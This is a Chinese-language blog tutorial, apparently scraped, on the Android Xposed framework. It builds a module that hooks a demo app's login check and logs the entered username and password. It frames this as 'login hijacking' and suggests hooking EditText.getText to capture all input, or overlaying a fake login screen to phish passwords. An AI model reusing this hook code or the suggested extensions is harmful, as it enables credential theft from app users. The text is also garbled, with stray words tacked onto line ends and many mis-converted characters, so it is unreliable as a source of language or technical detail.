前段時間寫了一篇關於Cydia Substrate廣告注入的文章,你們都直呼過癮。可是,真正瞭解這一方面的同窗應該知道,其實還有一個比Cydia Substrate更出名的工具:XPosed。java
不是由於Xposed比Cydia Substrate作的多好,而是Xposed是完全開源的。今天,就向你們簡單地介紹一下Xposed,並書寫一個簡單的登錄劫持Demo,讓你們快速地入門學習Xposed。android
Xposed框架是一款能夠在不修改APK的狀況下影響程序運行(修改系統)的框架服務,經過替換/system/bin/app_process程序控制zygote進程,使得app_process在啓動過程當中會加載XposedBridge.jar這個jar包,從而完成對Zygote進程及其建立的Dalvik虛擬機的劫持。git
基於Xposed框架能夠製做出許多功能強大的模塊,且在功能不衝突的狀況下同時運做。此外,Xposed框架中的每個庫還能夠單獨下載使用,如Per APP Setting(爲每一個應用設置單獨的dpi或修改權限)、Cydia、XPrivacy(防止隱私泄露)、BootManager(開啓自啓動程序管理應用)對原生Launcher替換圖標等應用或功能均基於此框架。 github
官網地址: http://repo.xposed.info/ 源碼地址: https://github.com/rovo89
Xposed框架是基於一個Android的本地服務應用XposedInstaller,與一個提供API 的jar文件來完成的。因此,安裝使用Xposed框架咱們須要完成如下幾個步驟: api
須要安裝XposedInstall.apk本地服務應用,咱們可以在其官網的framework欄目中找到,下載並安裝。地址爲: http://repo.xposed.info/module/de.robv.android.xposed.installer。服務器
安裝好後進入XposedInstaller應用程序,會出現須要激活框架的界面,以下圖所示。這裏咱們點擊「安裝/更新」就能完成框架的激活了。部分設備若是不支持直接寫入的話,能夠選擇「安裝方式」,修改成在Recovery模式下自動安裝便可。網絡
由於安裝時會存在須要Root權限,安裝後會啓動Xposed的app_process,因此安裝過程當中會存在設備屢次從新啓動。app
TIPS:因爲國內的部分ROM對Xposed不兼容,若是安裝Xposed不成功的話,強制使用Recovery寫入可能會形成設備反覆重啓而沒法正常啓動。
其API庫XposedBridgeApi-.jar(version是XposedAPI的版本號,如咱們這裏是XposedBridgeApi-54.jar)文件,咱們可以在Xposed的官方支持xda論壇找到,其地址爲: http://forum.xda-developers.com/xposed/xposed-api-changelog-developer-news-t2714067。框架
下載完畢後咱們須要將Xposed Library複製到lib目錄(注意是lib目錄,不是Android提供的libs目錄),而後將這個jar包添加到Build PATH中。ide
若是直接將jar包放置到了libs目錄下,極可能會產生錯誤: 「IllegalAccessError: Class ref in pre-verified class resolved to unexpected implementation」 估計Xposed做者在其框架內部也引用了BridgeApi,這樣操做避免重複引用。
以前跟你們也說過使用CydiaSubstrate進行廣告注入,不少網友問我,除了簡單地注入一個廣告,還能作什麼嗎?
登錄劫持!!!
你沒聽錯,今天咱們這裏就簡單地演示一下,如何對一個應用程序的登錄功能進行劫持,並把帳號密碼打印出來。
如咱們常見的登錄劫持,就是使用了Hook技術來完成的。那麼這個登錄劫持是如何完成的呢?下面咱們就具體來看看一個在開發中常見到的登錄例子。首先,咱們看看一個常見的登錄界面是什麼樣子的。
其對應的登錄流程代碼以下所示:
// 登錄按鈕的onClick事件 mLoginButton.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { // 獲取用戶名 String username = mUserEditText.getText() + ""; // 獲取密碼 String password = mPasswordEditText.getText() + ""; if (isCorrectInfo(username, password)) { Toast.makeText(MainActivity.this, "登錄成功!", Toast.LENGTH_LONG).show(); } else { Toast.makeText(MainActivity.this, "登錄失敗!", Toast.LENGTH_LONG).show(); } } });
咱們會發現,登錄界面上面的用戶信息都是存儲在EditText控件上,而後經過用戶手動點擊「登錄」按鈕纔會將上面的信息發送至服務器端,去驗證帳號與密碼是否正確。這樣就很簡單了,黑客們只須要找到開發者在使用EditText控件的getText方法後進行網絡驗證的方法,Hook該方法,就能劫持到用戶的帳戶與密碼劫了。
TIPS:固然,咱們也能夠仿照上以前CydiaSubstrate的廣告注入例子,作一個如出一轍的Activity,在劫持原Activity優先彈出來,達到欺騙用戶獲取密碼的目的。
具體流程以下:
明白了原理下面咱們就實際的操做一次,這裏咱們選擇使用Xposed框架來操做。使用Xposed進行Hook操做主要就是使用到了Xposed中的兩個比較重要的方法,handleLoadPackage獲取包加載時候的回調並拿到其對應的classLoader;findAndHookMethod對指定類的方法進行Hook。它們的詳細定義以下所示:
/** * 包加載時候的回調 */ public void handleLoadPackage(final LoadPackageParam lpparam) /** * Xposed提供的Hook方法 * * @param className 待Hook的Class * @param classLoader classLoader * @param methodName 待Hook的Method * @param parameterTypesAndCallback hook回調 * @return */ Unhook findAndHookMethod(String className, ClassLoader classLoader, String methodName, Object... parameterTypesAndCallback)
固然,咱們使用Xposed進行Hook也分爲以下幾個步驟:
1. 在AndroidManifest.xml文件中配置插件名稱與Api版本號
<application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <meta-data android:name="xposedmodule" android:value="true" /> <!-- 模塊描述 --> <meta-data android:name="xposeddescription" android:value="一個登錄劫持的樣例" /> <!-- 最低版本號 --> <meta-data android:name="xposedminversion" android:value="30" /> </application>
2. 新建一個入口類並繼承並實現IXposedHookLoadPackage接口
以下操做,咱們新建了一個com.example.loginhook.Main的類,並實現IXposedHookLoadPackage接口中的handleLoadPackage方法,將非com.example.login包名的應用過濾掉,即咱們只操做包名爲com.example.login的應用。以下所示:
public class Main implements IXposedHookLoadPackage { /** * 包加載時候的回調 */ public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable { // 將包名不是 com.example.login 的應用剔除掉 if (!lpparam.packageName.equals("com.example.login")) return; XposedBridge.log("Loaded app: " + lpparam.packageName); } }
3. 聲明主入口路徑
須要在assets文件夾中新建一個xposed_init的文件,並在其中聲明主入口類。如這裏咱們的主入口類爲com.example.loginhook.Main。
4. 使用findAndHookMethod方法Hook劫持登錄信息
這是最重要的一步,咱們以前所分析的都須要到這一步進行操做。如咱們以前所分析的登錄程序,咱們須要劫持,就是須要Hook其com.example.login.MainActivity中的isCorrectInfo方法。咱們使用Xposed提供的findAndHookMethod直接進行MethodHook操做(與Cydia很相似)。在其Hook回調中使用XposedBridge.log方法,將登錄的帳號密碼信息打印至Xposed的日誌中。具體操做以下所示:
import static de.robv.android.xposed.XposedHelpers.findAndHookMethod; public class Main implements IXposedHookLoadPackage { /** * 包加載時候的回調 */ public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable { // 將包名不是 com.example.login 的應用剔除掉 if (!lpparam.packageName.equals("com.example.login")) return; XposedBridge.log("Loaded app: " + lpparam.packageName); // Hook MainActivity中的isCorrectInfo(String,String)方法 findAndHookMethod("com.example.login.MainActivity", lpparam.classLoader, "isCorrectInfo", String.class, String.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log("開始劫持了~"); XposedBridge.log("參數1 = " + param.args[0]); XposedBridge.log("參數2 = " + param.args[1]); } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { XposedBridge.log("劫持結束了~"); XposedBridge.log("參數1 = " + param.args[0]); XposedBridge.log("參數2 = " + param.args[1]); } }); } }
5. 在XposedInstaller中啓動咱們自定義的模塊
編譯後安裝在Android設備上的模塊應用程序不會當即的生效,咱們須要在XpasedInstaller模塊選項中勾選待啓用的模塊才能讓其正常的生效。如:
6. 重啓驗證
重啓Android設備,進入XposedInstaller查看日誌模塊,由於咱們以前使用的是XposedBridge.log方法打印log,因此log都會顯示在此處。咱們發現咱們須要劫持的帳號密碼都顯示再來此處。
TIPS:這裏咱們是經過逆向分析該登錄頁面的登陸判斷調用函數來完成Hook與劫持工做的。有些讀者應該想出來了,咱們能不能直接Hook系統中提供給咱們的控件EditText(輸入框控件)中的getText()方法進行Hook呢?這樣咱們就可以對系統中全部的輸入進行監控劫持了。這裏留給你們一個思考,感興趣的讀者能夠嘗試一下。